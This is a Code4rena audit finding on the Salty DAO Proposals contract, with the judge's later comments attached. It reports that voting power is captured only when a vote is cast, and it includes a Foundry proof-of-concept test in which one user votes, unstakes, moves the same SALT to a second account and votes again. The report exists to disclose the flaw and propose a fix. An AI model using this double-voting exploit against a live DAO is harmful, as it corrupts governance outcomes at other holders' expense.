Platform: Code4rena
Start Date: 16/01/2024
Pot Size: $80,000 USDC
Total HM: 37
Participants: 178
Period: 14 days
Judge: Picodes
Total Solo HM: 4
Id: 320
League: ETH
Rank: 126/178
Findings: 1
Award: $31.20
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: PENGUN
Also found by: 0xanmol, Draiakoo, J4X, Matue, ReadyPlayer2, cu5t0mpeo, dutra, falconhoof, grearlake, peanuts, piyushshukla, vnavascues, zhanmingjing, zhaojie
31.1969 USDC - $31.20
https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L259-L293
In the Proposals contract, we have the external function castVote:
function castVote( uint256 ballotID, Vote vote ) external nonReentrant { Ballot memory ballot = ballots[ballotID]; // Require that the ballot is actually live require( ballot.ballotIsLive, "The specified ballot is not open for voting" ); // Make sure that the vote type is valid for the given ballot if ( ballot.ballotType == BallotType.PARAMETER ) require( (vote == Vote.INCREASE) || (vote == Vote.DECREASE) || (vote == Vote.NO_CHANGE), "Invalid VoteType for Parameter Ballot" ); else // If a Ballot is not a Parameter Ballot, it is an Approval ballot require( (vote == Vote.YES) || (vote == Vote.NO), "Invalid VoteType for Approval Ballot" ); // Make sure that the user has voting power before proceeding. // Voting power is equal to their userShare of STAKED_SALT. // If the user changes their stake after voting they will have to recast their vote. uint256 userVotingPower = staking.userShareForPool( msg.sender, PoolUtils.STAKED_SALT ); require( userVotingPower > 0, "Staked SALT required to vote" ); // Remove any previous votes made by the user on the ballot UserVote memory lastVote = _lastUserVoteForBallot[ballotID][msg.sender]; // Undo the last vote? if ( lastVote.votingPower > 0 ) _votesCastForBallot[ballotID][lastVote.vote] -= lastVote.votingPower; // Update the votes cast for the ballot with the user's current voting power _votesCastForBallot[ballotID][vote] += userVotingPower; // Remember how the user voted in case they change their vote later _lastUserVoteForBallot[ballotID][msg.sender] = UserVote( vote, userVotingPower ); emit VoteCast(msg.sender, ballotID, vote, userVotingPower); }
This function is used to compute a user's vote on a proposal made to the DAO. When voting, the user's voting power is calculated (line 276) and recorded (line 287).
As we can see in line 276, the calculation of voting is the amount staked in the salt pool.
function userShareForPool( address wallet, bytes32 poolID ) public view returns (uint256) { return _userShareInfo[wallet][poolID].userShare; }
Here is the function used to finalize a proposal, and in it we can verify that the votes are not recalculated:
function finalizeBallot( uint256 ballotID ) external nonReentrant { // Checks that ballot is live, and minimumEndTime and quorum have both been reached require( proposals.canFinalizeBallot(ballotID), "The ballot is not yet able to be finalized" ); Ballot memory ballot = proposals.ballotForID(ballotID); if ( ballot.ballotType == BallotType.PARAMETER ) _finalizeParameterBallot(ballotID); else if ( ballot.ballotType == BallotType.WHITELIST_TOKEN ) _finalizeTokenWhitelisting(ballotID); else _finalizeApprovalBallot(ballotID); }
function canFinalizeBallot( uint256 ballotID ) external view returns (bool) { Ballot memory ballot = ballots[ballotID]; if ( ! ballot.ballotIsLive ) return false; // Check that the minimum duration has passed if (block.timestamp < ballot.ballotMinimumEndTime ) return false; // Check that the required quorum has been reached if ( totalVotesCastForBallot(ballotID) < requiredQuorumForBallotType( ballot.ballotType )) return false; return true; }
function _finalizeApprovalBallot( uint256 ballotID ) internal { if ( proposals.ballotIsApproved(ballotID ) ) { Ballot memory ballot = proposals.ballotForID(ballotID); _executeApproval( ballot ); } proposals.markBallotAsFinalized(ballotID); }
function markBallotAsFinalized( uint256 ballotID ) external nonReentrant { require( msg.sender == address(exchangeConfig.dao()), "Only the DAO can mark a ballot as finalized" ); Ballot storage ballot = ballots[ballotID]; // Remove finalized whitelist token ballots from the list of open whitelisting proposals if ( ballot.ballotType == BallotType.WHITELIST_TOKEN ) _openBallotsForTokenWhitelisting.remove( ballotID ); // Remove from the list of all open ballots _allOpenBallots.remove( ballotID ); ballot.ballotIsLive = false; // Indicate that the user who posted the proposal no longer has an active proposal address userThatPostedBallot = _usersThatProposedBallots[ballotID]; _userHasActiveProposal[userThatPostedBallot] = false; delete openBallotsByName[ballot.ballotName]; emit BallotFinalized(ballotID); }
However, due to the design adopted, the voting power of each user is not recalculated at the end of the vote, working only with the time cut of the voting power at the time of voting.
Therefore, not recalculating the voting power at the end of the vote implies different scenarios, the following is one of them:
Steps to reproduce:
As we saw in this scenario, if a user has 33.34% voting power, if they explore this scenario they will be able to beat the majority in a Yes or No proposal, even if everyone else votes against.
Here is a test to prove the PoC described above. You can include this function in the file Proposals.t.sol:
function testProposeSameBallotNameMultipleTimesAndForOpenBallot() public { vm.stopPrank(); vm.startPrank(DEPLOYER); salt.transfer(charlie, 6666 ether); vm.stopPrank(); vm.startPrank(charlie); salt.approve( address(staking), type(uint256).max ); staking.stakeSALT( 6666 ether ); vm.stopPrank(); vm.startPrank(alice); console.log("[Alice] Salt balance: ", salt.balanceOf(alice)); staking.stakeSALT( 3334 ether ); IERC20 testToken = new TestERC20("TEST", 18); proposals.proposeTokenWhitelisting(testToken, "https://tokenIconURL", "This is a test token"); console.log("[Alice] Stake amount: ", staking.userXSalt(alice)); console.log("Voting on ballot"); proposals.castVote( 1, Vote.YES ); console.log("Unstaking..."); staking.unstake(3334 ether, 2); console.log("[Alice] Stake amount: ", staking.userXSalt(alice)); console.log("Skipping forward two weeks..."); vm.warp(block.timestamp + 2 * ( 1 weeks )); staking.recoverSALT(0); console.log("[Alice] Salt balance: ", salt.balanceOf(alice)); console.log("Transfering the funds for bob account"); salt.transfer(bob, 3334 ether); console.log("[Bob] Salt balance: ", salt.balanceOf(bob)); vm.stopPrank(); vm.startPrank(bob); staking.stakeSALT( 3334 ether ); proposals.castVote( 1, Vote.YES ); // If a given user has 33.34%, he or she its allowed to beat all the another users vm.stopPrank(); vm.startPrank(charlie); proposals.castVote( 1, Vote.NO ); console.log("Ballot is approved?", proposals.ballotIsApproved(1)); console.log("Ballot votes: YES -> ", proposals.votesCastForBallot(1, Vote.YES), ", NO -> ", proposals.votesCastForBallot(1, Vote.NO)); console.log(proposals.canFinalizeBallot(1)); vm.stopPrank(); // Finalize the ballot vm.prank( address(dao) ); proposals.markBallotAsFinalized(1); }
vscode, foundry
Revalidate the voting power to finalize a proposal, this will allow a fair result for all users.
Other
#0 - c4-judge
2024-02-02T11:14:44Z
Picodes marked the issue as duplicate of #746
#1 - c4-judge
2024-02-14T08:06:23Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2024-02-17T16:35:42Z
Picodes changed the severity to 2 (Med Risk)